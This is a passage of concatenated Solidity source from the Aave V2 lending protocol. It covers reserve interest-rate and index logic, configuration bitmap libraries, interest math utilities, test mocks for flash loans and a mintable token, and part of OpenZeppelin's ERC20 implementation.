reserve.stableDebtTokenAddress = stableDebtTokenAddress; reserve.variableDebtTokenAddress = variableDebtTokenAddress; reserve.interestRateStrategyAddress = interestRateStrategyAddress; } struct UpdateInterestRatesLocalVars { address stableDebtTokenAddress; uint256 availableLiquidity; uint256 totalStableDebt; uint256 newLiquidityRate; uint256 newStableRate; uint256 newVariableRate; uint256 avgStableRate; uint256 totalVariableDebt; } /** * @dev Updates the reserve current stable borrow rate, the current variable borrow rate and the current liquidity rate * @param reserve The address of the reserve to be updated * @param liquidityAdded The amount of liquidity added to the protocol (deposit or repay) in the previous action * @param liquidityTaken The amount of liquidity taken from the protocol (redeem or borrow) **/ function updateInterestRates( DataTypes.ReserveData storage reserve, address reserveAddress, address aTokenAddress, uint256 liquidityAdded, uint256 liquidityTaken ) internal { UpdateInterestRatesLocalVars memory vars; vars.stableDebtTokenAddress = reserve.stableDebtTokenAddress; (vars.totalStableDebt, vars.avgStableRate) = IStableDebtToken(vars.stableDebtTokenAddress) .getTotalSupplyAndAvgRate(); //calculates the total variable debt locally using the scaled total supply instead //of totalSupply(), as it's noticeably cheaper. Also, the index has been //updated by the previous updateState() call vars.totalVariableDebt = IVariableDebtToken(reserve.variableDebtTokenAddress) .scaledTotalSupply() .rayMul(reserve.variableBorrowIndex); ( vars.newLiquidityRate, vars.newStableRate, vars.newVariableRate ) = IReserveInterestRateStrategy(reserve.interestRateStrategyAddress).calculateInterestRates( reserveAddress, aTokenAddress, liquidityAdded, liquidityTaken, vars.totalStableDebt, vars.totalVariableDebt, vars.avgStableRate, reserve.configuration.getReserveFactor() ); require(vars.newLiquidityRate <= type(uint128).max, Errors.RL_LIQUIDITY_RATE_OVERFLOW); require(vars.newStableRate <= type(uint128).max, Errors.RL_STABLE_BORROW_RATE_OVERFLOW); require(vars.newVariableRate <= type(uint128).max, Errors.RL_VARIABLE_BORROW_RATE_OVERFLOW); reserve.currentLiquidityRate = uint128(vars.newLiquidityRate); reserve.currentStableBorrowRate = uint128(vars.newStableRate); reserve.currentVariableBorrowRate = uint128(vars.newVariableRate); emit ReserveDataUpdated( reserveAddress, vars.newLiquidityRate, vars.newStableRate, vars.newVariableRate, reserve.liquidityIndex, reserve.variableBorrowIndex ); } struct MintToTreasuryLocalVars { uint256 currentStableDebt; uint256 principalStableDebt; uint256 previousStableDebt; uint256 currentVariableDebt; uint256 previousVariableDebt; uint256 avgStableRate; uint256 cumulatedStableInterest; uint256 totalDebtAccrued; uint256 amountToMint; uint256 reserveFactor; uint40 stableSupplyUpdatedTimestamp; } /** * @dev Mints part of the repaid interest to the reserve treasury as a function of the reserveFactor for the * specific asset. * @param reserve The reserve reserve to be updated * @param scaledVariableDebt The current scaled total variable debt * @param previousVariableBorrowIndex The variable borrow index before the last accumulation of the interest * @param newLiquidityIndex The new liquidity index * @param newVariableBorrowIndex The variable borrow index after the last accumulation of the interest **/ function _mintToTreasury( DataTypes.ReserveData storage reserve, uint256 scaledVariableDebt, uint256 previousVariableBorrowIndex, uint256 newLiquidityIndex, uint256 newVariableBorrowIndex, uint40 timestamp ) internal { MintToTreasuryLocalVars memory vars; vars.reserveFactor = reserve.configuration.getReserveFactor(); if (vars.reserveFactor == 0) { return; } //fetching the principal, total stable debt and the avg stable rate ( vars.principalStableDebt, vars.currentStableDebt, vars.avgStableRate, vars.stableSupplyUpdatedTimestamp ) = IStableDebtToken(reserve.stableDebtTokenAddress).getSupplyData(); //calculate the last principal variable debt vars.previousVariableDebt = scaledVariableDebt.rayMul(previousVariableBorrowIndex); //calculate the new total supply after accumulation of the index vars.currentVariableDebt = scaledVariableDebt.rayMul(newVariableBorrowIndex); //calculate the stable debt until the last timestamp update vars.cumulatedStableInterest = MathUtils.calculateCompoundedInterest( vars.avgStableRate, vars.stableSupplyUpdatedTimestamp, timestamp ); vars.previousStableDebt = vars.principalStableDebt.rayMul(vars.cumulatedStableInterest); //debt accrued is the sum of the current debt minus the sum of the debt at the last update vars.totalDebtAccrued = vars .currentVariableDebt .add(vars.currentStableDebt) .sub(vars.previousVariableDebt) .sub(vars.previousStableDebt); vars.amountToMint = vars.totalDebtAccrued.percentMul(vars.reserveFactor); if (vars.amountToMint != 0) { IAToken(reserve.aTokenAddress).mintToTreasury(vars.amountToMint, newLiquidityIndex); } } /** * @dev Updates the reserve indexes and the timestamp of the update * @param reserve The reserve reserve to be updated * @param scaledVariableDebt The scaled variable debt * @param liquidityIndex The last stored liquidity index * @param variableBorrowIndex The last stored variable borrow index **/ function _updateIndexes( DataTypes.ReserveData storage reserve, uint256 scaledVariableDebt, uint256 liquidityIndex, uint256 variableBorrowIndex, uint40 timestamp ) internal returns (uint256, uint256) { uint256 currentLiquidityRate = reserve.currentLiquidityRate; uint256 newLiquidityIndex = liquidityIndex; uint256 newVariableBorrowIndex = variableBorrowIndex; //only cumulating if there is any income being produced if (currentLiquidityRate > 0) { uint256 cumulatedLiquidityInterest = MathUtils.calculateLinearInterest(currentLiquidityRate, timestamp); newLiquidityIndex = cumulatedLiquidityInterest.rayMul(liquidityIndex); require(newLiquidityIndex <= type(uint128).max, Errors.RL_LIQUIDITY_INDEX_OVERFLOW); reserve.liquidityIndex = uint128(newLiquidityIndex); //as the liquidity rate might come only from stable rate loans, we need to ensure //that there is actual variable debt before accumulating if (scaledVariableDebt != 0) { uint256 cumulatedVariableBorrowInterest = MathUtils.calculateCompoundedInterest(reserve.currentVariableBorrowRate, timestamp); newVariableBorrowIndex = cumulatedVariableBorrowInterest.rayMul(variableBorrowIndex); require( newVariableBorrowIndex <= type(uint128).max, Errors.RL_VARIABLE_BORROW_INDEX_OVERFLOW ); reserve.variableBorrowIndex = uint128(newVariableBorrowIndex); } } //solium-disable-next-line reserve.lastUpdateTimestamp = uint40(block.timestamp); return (newLiquidityIndex, newVariableBorrowIndex); } } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; import {Errors} from '../helpers/Errors.sol'; import {DataTypes} from '../types/DataTypes.sol'; /** * @title ReserveConfiguration library * @author Aave * @notice Implements the bitmap logic to handle the reserve configuration */ library ReserveConfiguration { uint256 constant LTV_MASK = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF0000; // prettier-ignore uint256 constant LIQUIDATION_THRESHOLD_MASK = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF0000FFFF; // prettier-ignore uint256 constant LIQUIDATION_BONUS_MASK = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF0000FFFFFFFF; // prettier-ignore uint256 constant DECIMALS_MASK = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF00FFFFFFFFFFFF; // prettier-ignore uint256 constant ACTIVE_MASK = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEFFFFFFFFFFFFFF; // prettier-ignore uint256 constant FROZEN_MASK = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFDFFFFFFFFFFFFFF; // prettier-ignore uint256 constant BORROWING_MASK = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFBFFFFFFFFFFFFFF; // prettier-ignore uint256 constant STABLE_BORROWING_MASK = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF7FFFFFFFFFFFFFF; // prettier-ignore uint256 constant RESERVE_FACTOR_MASK = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF0000FFFFFFFFFFFFFFFF; // prettier-ignore /// @dev For the LTV, the start bit is 0 (up to 15), hence no bitshifting is needed uint256 constant LIQUIDATION_THRESHOLD_START_BIT_POSITION = 16; uint256 constant LIQUIDATION_BONUS_START_BIT_POSITION = 32; uint256 constant RESERVE_DECIMALS_START_BIT_POSITION = 48; uint256 constant IS_ACTIVE_START_BIT_POSITION = 56; uint256 constant IS_FROZEN_START_BIT_POSITION = 57; uint256 constant BORROWING_ENABLED_START_BIT_POSITION = 58; uint256 constant STABLE_BORROWING_ENABLED_START_BIT_POSITION = 59; uint256 constant RESERVE_FACTOR_START_BIT_POSITION = 64; uint256 constant MAX_VALID_LTV = 65535; uint256 constant MAX_VALID_LIQUIDATION_THRESHOLD = 65535; uint256 constant MAX_VALID_LIQUIDATION_BONUS = 65535; uint256 constant MAX_VALID_DECIMALS = 255; uint256 constant MAX_VALID_RESERVE_FACTOR = 65535; /** * @dev Sets the Loan to Value of the reserve * @param self The reserve configuration * @param ltv the new ltv **/ function setLtv(DataTypes.ReserveConfigurationMap memory self, uint256 ltv) internal pure { require(ltv <= MAX_VALID_LTV, Errors.RC_INVALID_LTV); self.data = (self.data & LTV_MASK) | ltv; } /** * @dev Gets the Loan to Value of the reserve * @param self The reserve configuration * @return The loan to value **/ function getLtv(DataTypes.ReserveConfigurationMap storage self) internal view returns (uint256) { return self.data & ~LTV_MASK; } /** * @dev Sets the liquidation threshold of the reserve * @param self The reserve configuration * @param threshold The new liquidation threshold **/ function setLiquidationThreshold(DataTypes.ReserveConfigurationMap memory self, uint256 threshold) internal pure { require(threshold <= MAX_VALID_LIQUIDATION_THRESHOLD, Errors.RC_INVALID_LIQ_THRESHOLD); self.data = (self.data & LIQUIDATION_THRESHOLD_MASK) | (threshold << LIQUIDATION_THRESHOLD_START_BIT_POSITION); } /** * @dev Gets the liquidation threshold of the reserve * @param self The reserve configuration * @return The liquidation threshold **/ function getLiquidationThreshold(DataTypes.ReserveConfigurationMap storage self) internal view returns (uint256) { return (self.data & ~LIQUIDATION_THRESHOLD_MASK) >> LIQUIDATION_THRESHOLD_START_BIT_POSITION; } /** * @dev Sets the liquidation bonus of the reserve * @param self The reserve configuration * @param bonus The new liquidation bonus **/ function setLiquidationBonus(DataTypes.ReserveConfigurationMap memory self, uint256 bonus) internal pure { require(bonus <= MAX_VALID_LIQUIDATION_BONUS, Errors.RC_INVALID_LIQ_BONUS); self.data = (self.data & LIQUIDATION_BONUS_MASK) | (bonus << LIQUIDATION_BONUS_START_BIT_POSITION); } /** * @dev Gets the liquidation bonus of the reserve * @param self The reserve configuration * @return The liquidation bonus **/ function getLiquidationBonus(DataTypes.ReserveConfigurationMap storage self) internal view returns (uint256) { return (self.data & ~LIQUIDATION_BONUS_MASK) >> LIQUIDATION_BONUS_START_BIT_POSITION; } /** * @dev Sets the decimals of the underlying asset of the reserve * @param self The reserve configuration * @param decimals The decimals **/ function setDecimals(DataTypes.ReserveConfigurationMap memory self, uint256 decimals) internal pure { require(decimals <= MAX_VALID_DECIMALS, Errors.RC_INVALID_DECIMALS); self.data = (self.data & DECIMALS_MASK) | (decimals << RESERVE_DECIMALS_START_BIT_POSITION); } /** * @dev Gets the decimals of the underlying asset of the reserve * @param self The reserve configuration * @return The decimals of the asset **/ function getDecimals(DataTypes.ReserveConfigurationMap storage self) internal view returns (uint256) { return (self.data & ~DECIMALS_MASK) >> RESERVE_DECIMALS_START_BIT_POSITION; } /** * @dev Sets the active state of the reserve * @param self The reserve configuration * @param active The active state **/ function setActive(DataTypes.ReserveConfigurationMap memory self, bool active) internal pure { self.data = (self.data & ACTIVE_MASK) | (uint256(active ? 1 : 0) << IS_ACTIVE_START_BIT_POSITION); } /** * @dev Gets the active state of the reserve * @param self The reserve configuration * @return The active state **/ function getActive(DataTypes.ReserveConfigurationMap storage self) internal view returns (bool) { return (self.data & ~ACTIVE_MASK) != 0; } /** * @dev Sets the frozen state of the reserve * @param self The reserve configuration * @param frozen The frozen state **/ function setFrozen(DataTypes.ReserveConfigurationMap memory self, bool frozen) internal pure { self.data = (self.data & FROZEN_MASK) | (uint256(frozen ? 1 : 0) << IS_FROZEN_START_BIT_POSITION); } /** * @dev Gets the frozen state of the reserve * @param self The reserve configuration * @return The frozen state **/ function getFrozen(DataTypes.ReserveConfigurationMap storage self) internal view returns (bool) { return (self.data & ~FROZEN_MASK) != 0; } /** * @dev Enables or disables borrowing on the reserve * @param self The reserve configuration * @param enabled True if the borrowing needs to be enabled, false otherwise **/ function setBorrowingEnabled(DataTypes.ReserveConfigurationMap memory self, bool enabled) internal pure { self.data = (self.data & BORROWING_MASK) | (uint256(enabled ? 1 : 0) << BORROWING_ENABLED_START_BIT_POSITION); } /** * @dev Gets the borrowing state of the reserve * @param self The reserve configuration * @return The borrowing state **/ function getBorrowingEnabled(DataTypes.ReserveConfigurationMap storage self) internal view returns (bool) { return (self.data & ~BORROWING_MASK) != 0; } /** * @dev Enables or disables stable rate borrowing on the reserve * @param self The reserve configuration * @param enabled True if the stable rate borrowing needs to be enabled, false otherwise **/ function setStableRateBorrowingEnabled( DataTypes.ReserveConfigurationMap memory self, bool enabled ) internal pure { self.data = (self.data & STABLE_BORROWING_MASK) | (uint256(enabled ? 1 : 0) << STABLE_BORROWING_ENABLED_START_BIT_POSITION); } /** * @dev Gets the stable rate borrowing state of the reserve * @param self The reserve configuration * @return The stable rate borrowing state **/ function getStableRateBorrowingEnabled(DataTypes.ReserveConfigurationMap storage self) internal view returns (bool) { return (self.data & ~STABLE_BORROWING_MASK) != 0; } /** * @dev Sets the reserve factor of the reserve * @param self The reserve configuration * @param reserveFactor The reserve factor **/ function setReserveFactor(DataTypes.ReserveConfigurationMap memory self, uint256 reserveFactor) internal pure { require(reserveFactor <= MAX_VALID_RESERVE_FACTOR, Errors.RC_INVALID_RESERVE_FACTOR); self.data = (self.data & RESERVE_FACTOR_MASK) | (reserveFactor << RESERVE_FACTOR_START_BIT_POSITION); } /** * @dev Gets the reserve factor of the reserve * @param self The reserve configuration * @return The reserve factor **/ function getReserveFactor(DataTypes.ReserveConfigurationMap storage self) internal view returns (uint256) { return (self.data & ~RESERVE_FACTOR_MASK) >> RESERVE_FACTOR_START_BIT_POSITION; } /** * @dev Gets the configuration flags of the reserve * @param self The reserve configuration * @return The state flags representing active, frozen, borrowing enabled, stableRateBorrowing enabled **/ function getFlags(DataTypes.ReserveConfigurationMap storage self) internal view returns ( bool, bool, bool, bool ) { uint256 dataLocal = self.data; return ( (dataLocal & ~ACTIVE_MASK) != 0, (dataLocal & ~FROZEN_MASK) != 0, (dataLocal & ~BORROWING_MASK) != 0, (dataLocal & ~STABLE_BORROWING_MASK) != 0 ); } /** * @dev Gets the configuration paramters of the reserve * @param self The reserve configuration * @return The state params representing ltv, liquidation threshold, liquidation bonus, the reserve decimals **/ function getParams(DataTypes.ReserveConfigurationMap storage self) internal view returns ( uint256, uint256, uint256, uint256, uint256 ) { uint256 dataLocal = self.data; return ( dataLocal & ~LTV_MASK, (dataLocal & ~LIQUIDATION_THRESHOLD_MASK) >> LIQUIDATION_THRESHOLD_START_BIT_POSITION, (dataLocal & ~LIQUIDATION_BONUS_MASK) >> LIQUIDATION_BONUS_START_BIT_POSITION, (dataLocal & ~DECIMALS_MASK) >> RESERVE_DECIMALS_START_BIT_POSITION, (dataLocal & ~RESERVE_FACTOR_MASK) >> RESERVE_FACTOR_START_BIT_POSITION ); } /** * @dev Gets the configuration paramters of the reserve from a memory object * @param self The reserve configuration * @return The state params representing ltv, liquidation threshold, liquidation bonus, the reserve decimals **/ function getParamsMemory(DataTypes.ReserveConfigurationMap memory self) internal pure returns ( uint256, uint256, uint256, uint256, uint256 ) { return ( self.data & ~LTV_MASK, (self.data & ~LIQUIDATION_THRESHOLD_MASK) >> LIQUIDATION_THRESHOLD_START_BIT_POSITION, (self.data & ~LIQUIDATION_BONUS_MASK) >> LIQUIDATION_BONUS_START_BIT_POSITION, (self.data & ~DECIMALS_MASK) >> RESERVE_DECIMALS_START_BIT_POSITION, (self.data & ~RESERVE_FACTOR_MASK) >> RESERVE_FACTOR_START_BIT_POSITION ); } /** * @dev Gets the configuration flags of the reserve from a memory object * @param self The reserve configuration * @return The state flags representing active, frozen, borrowing enabled, stableRateBorrowing enabled **/ function getFlagsMemory(DataTypes.ReserveConfigurationMap memory self) internal pure returns ( bool, bool, bool, bool ) { return ( (self.data & ~ACTIVE_MASK) != 0, (self.data & ~FROZEN_MASK) != 0, (self.data & ~BORROWING_MASK) != 0, (self.data & ~STABLE_BORROWING_MASK) != 0 ); } } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; import {Errors} from '../helpers/Errors.sol'; import {DataTypes} from '../types/DataTypes.sol'; /** * @title UserConfiguration library * @author Aave * @notice Implements the bitmap logic to handle the user configuration */ library UserConfiguration { uint256 internal constant BORROWING_MASK = 0x5555555555555555555555555555555555555555555555555555555555555555; /** * @dev Sets if the user is borrowing the reserve identified by reserveIndex * @param self The configuration object * @param reserveIndex The index of the reserve in the bitmap * @param borrowing True if the user is borrowing the reserve, false otherwise **/ function setBorrowing( DataTypes.UserConfigurationMap storage self, uint256 reserveIndex, bool borrowing ) internal { require(reserveIndex < 128, Errors.UL_INVALID_INDEX); self.data = (self.data & ~(1 << (reserveIndex * 2))) | (uint256(borrowing ? 1 : 0) << (reserveIndex * 2)); } /** * @dev Sets if the user is using as collateral the reserve identified by reserveIndex * @param self The configuration object * @param reserveIndex The index of the reserve in the bitmap * @param usingAsCollateral True if the user is usin the reserve as collateral, false otherwise **/ function setUsingAsCollateral( DataTypes.UserConfigurationMap storage self, uint256 reserveIndex, bool usingAsCollateral ) internal { require(reserveIndex < 128, Errors.UL_INVALID_INDEX); self.data = (self.data & ~(1 << (reserveIndex * 2 + 1))) | (uint256(usingAsCollateral ? 1 : 0) << (reserveIndex * 2 + 1)); } /** * @dev Used to validate if a user has been using the reserve for borrowing or as collateral * @param self The configuration object * @param reserveIndex The index of the reserve in the bitmap * @return True if the user has been using a reserve for borrowing or as collateral, false otherwise **/ function isUsingAsCollateralOrBorrowing( DataTypes.UserConfigurationMap memory self, uint256 reserveIndex ) internal pure returns (bool) { require(reserveIndex < 128, Errors.UL_INVALID_INDEX); return (self.data >> (reserveIndex * 2)) & 3 != 0; } /** * @dev Used to validate if a user has been using the reserve for borrowing * @param self The configuration object * @param reserveIndex The index of the reserve in the bitmap * @return True if the user has been using a reserve for borrowing, false otherwise **/ function isBorrowing(DataTypes.UserConfigurationMap memory self, uint256 reserveIndex) internal pure returns (bool) { require(reserveIndex < 128, Errors.UL_INVALID_INDEX); return (self.data >> (reserveIndex * 2)) & 1 != 0; } /** * @dev Used to validate if a user has been using the reserve as collateral * @param self The configuration object * @param reserveIndex The index of the reserve in the bitmap * @return True if the user has been using a reserve as collateral, false otherwise **/ function isUsingAsCollateral(DataTypes.UserConfigurationMap memory self, uint256 reserveIndex) internal pure returns (bool) { require(reserveIndex < 128, Errors.UL_INVALID_INDEX); return (self.data >> (reserveIndex * 2 + 1)) & 1 != 0; } /** * @dev Used to validate if a user has been borrowing from any reserve * @param self The configuration object * @return True if the user has been borrowing any reserve, false otherwise **/ function isBorrowingAny(DataTypes.UserConfigurationMap memory self) internal pure returns (bool) { return self.data & BORROWING_MASK != 0; } /** * @dev Used to validate if a user has not been using any reserve * @param self The configuration object * @return True if the user has been borrowing any reserve, false otherwise **/ function isEmpty(DataTypes.UserConfigurationMap memory self) internal pure returns (bool) { return self.data == 0; } } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; /** * @title IReserveInterestRateStrategyInterface interface * @dev Interface for the calculation of the interest rates * @author Aave */ interface IReserveInterestRateStrategy { function baseVariableBorrowRate() external view returns (uint256); function getMaxVariableBorrowRate() external view returns (uint256); function calculateInterestRates( address reserve, uint256 availableLiquidity, uint256 totalStableDebt, uint256 totalVariableDebt, uint256 averageStableBorrowRate, uint256 reserveFactor ) external view returns ( uint256, uint256, uint256 ); function calculateInterestRates( address reserve, address aToken, uint256 liquidityAdded, uint256 liquidityTaken, uint256 totalStableDebt, uint256 totalVariableDebt, uint256 averageStableBorrowRate, uint256 reserveFactor ) external view returns ( uint256 liquidityRate, uint256 stableBorrowRate, uint256 variableBorrowRate ); } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; import {SafeMath} from '../../../dependencies/openzeppelin/contracts/SafeMath.sol'; import {WadRayMath} from './WadRayMath.sol'; library MathUtils { using SafeMath for uint256; using WadRayMath for uint256; /// @dev Ignoring leap years uint256 internal constant SECONDS_PER_YEAR = 365 days; /** * @dev Function to calculate the interest accumulated using a linear interest rate formula * @param rate The interest rate, in ray * @param lastUpdateTimestamp The timestamp of the last update of the interest * @return The interest rate linearly accumulated during the timeDelta, in ray **/ function calculateLinearInterest(uint256 rate, uint40 lastUpdateTimestamp) internal view returns (uint256) { //solium-disable-next-line uint256 timeDifference = block.timestamp.sub(uint256(lastUpdateTimestamp)); return (rate.mul(timeDifference) / SECONDS_PER_YEAR).add(WadRayMath.ray()); } /** * @dev Function to calculate the interest using a compounded interest rate formula * To avoid expensive exponentiation, the calculation is performed using a binomial approximation: * * (1+x)^n = 1+n*x+[n/2*(n-1)]*x^2+[n/6*(n-1)*(n-2)*x^3... * * The approximation slightly underpays liquidity providers and undercharges borrowers, with the advantage of great gas cost reductions * The whitepaper contains reference to the approximation and a table showing the margin of error per different time periods * * @param rate The interest rate, in ray * @param lastUpdateTimestamp The timestamp of the last update of the interest * @return The interest rate compounded during the timeDelta, in ray **/ function calculateCompoundedInterest( uint256 rate, uint40 lastUpdateTimestamp, uint256 currentTimestamp ) internal pure returns (uint256) { //solium-disable-next-line uint256 exp = currentTimestamp.sub(uint256(lastUpdateTimestamp)); if (exp == 0) { return WadRayMath.ray(); } uint256 expMinusOne = exp - 1; uint256 expMinusTwo = exp > 2 ? exp - 2 : 0; uint256 ratePerSecond = rate / SECONDS_PER_YEAR; uint256 basePowerTwo = ratePerSecond.rayMul(ratePerSecond); uint256 basePowerThree = basePowerTwo.rayMul(ratePerSecond); uint256 secondTerm = exp.mul(expMinusOne).mul(basePowerTwo) / 2; uint256 thirdTerm = exp.mul(expMinusOne).mul(expMinusTwo).mul(basePowerThree) / 6; return WadRayMath.ray().add(ratePerSecond.mul(exp)).add(secondTerm).add(thirdTerm); } /** * @dev Calculates the compounded interest between the timestamp of the last update and the current block timestamp * @param rate The interest rate (in ray) * @param lastUpdateTimestamp The timestamp from which the interest accumulation needs to be calculated **/ function calculateCompoundedInterest(uint256 rate, uint40 lastUpdateTimestamp) internal view returns (uint256) { return calculateCompoundedInterest(rate, lastUpdateTimestamp, block.timestamp); } } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; import {SafeMath} from '../../dependencies/openzeppelin/contracts/SafeMath.sol'; import {IERC20} from '../../dependencies/openzeppelin/contracts/IERC20.sol'; import {FlashLoanReceiverBase} from '../../flashloan/base/FlashLoanReceiverBase.sol'; import {MintableERC20} from '../tokens/MintableERC20.sol'; import {SafeERC20} from '../../dependencies/openzeppelin/contracts/SafeERC20.sol'; import {ILendingPoolAddressesProvider} from '../../interfaces/ILendingPoolAddressesProvider.sol'; contract MockFlashLoanReceiver is FlashLoanReceiverBase { using SafeERC20 for IERC20; ILendingPoolAddressesProvider internal _provider; event ExecutedWithFail(address[] _assets, uint256[] _amounts, uint256[] _premiums); event ExecutedWithSuccess(address[] _assets, uint256[] _amounts, uint256[] _premiums); bool _failExecution; uint256 _amountToApprove; bool _simulateEOA; constructor(ILendingPoolAddressesProvider provider) public FlashLoanReceiverBase(provider) {} function setFailExecutionTransfer(bool fail) public { _failExecution = fail; } function setAmountToApprove(uint256 amountToApprove) public { _amountToApprove = amountToApprove; } function setSimulateEOA(bool flag) public { _simulateEOA = flag; } function amountToApprove() public view returns (uint256) { return _amountToApprove; } function simulateEOA() public view returns (bool) { return _simulateEOA; } function executeOperation( address[] memory assets, uint256[] memory amounts, uint256[] memory premiums, address initiator, bytes memory params ) public override returns (bool) { params; initiator; if (_failExecution) { emit ExecutedWithFail(assets, amounts, premiums); return !_simulateEOA; } for (uint256 i = 0; i < assets.length; i++) { //mint to this contract the specific amount MintableERC20 token = MintableERC20(assets[i]); //check the contract has the specified balance require( amounts[i] <= IERC20(assets[i]).balanceOf(address(this)), 'Invalid balance for the contract' ); uint256 amountToReturn = (_amountToApprove != 0) ? _amountToApprove : amounts[i].add(premiums[i]); //execution does not fail - mint tokens and return them to the _destination token.mint(premiums[i]); IERC20(assets[i]).approve(address(LENDING_POOL), amountToReturn); } emit ExecutedWithSuccess(assets, amounts, premiums); return true; } } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; import {ERC20} from '../../dependencies/openzeppelin/contracts/ERC20.sol'; /** * @title ERC20Mintable * @dev ERC20 minting logic */ contract MintableERC20 is ERC20 { constructor( string memory name, string memory symbol, uint8 decimals ) public ERC20(name, symbol) { _setupDecimals(decimals); } /** * @dev Function to mint tokens * @param value The amount of tokens to mint. * @return A boolean that indicates if the operation was successful. */ function mint(uint256 value) public returns (bool) { _mint(_msgSender(), value); return true; } } // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; import './Context.sol'; import './IERC20.sol'; import './SafeMath.sol'; import './Address.sol'; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor(string memory name, string memory symbol) public { _name = name; _symbol = symbol; _decimals = 18; } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, 'ERC20: transfer amount exceeds allowance') ); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve( _msgSender(), spender, _allowances[_msgSender()][spender].sub( subtractedValue, 'ERC20: decreased allowance below zero' ) ); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer( address sender, address recipient, uint256 amount ) internal virtual { require(sender != address(0), 'ERC20: transfer from the zero address'); require(recipient != address(0), 'ERC20: transfer to the zero address'); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, 'ERC20: transfer amount exceeds balance'); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to 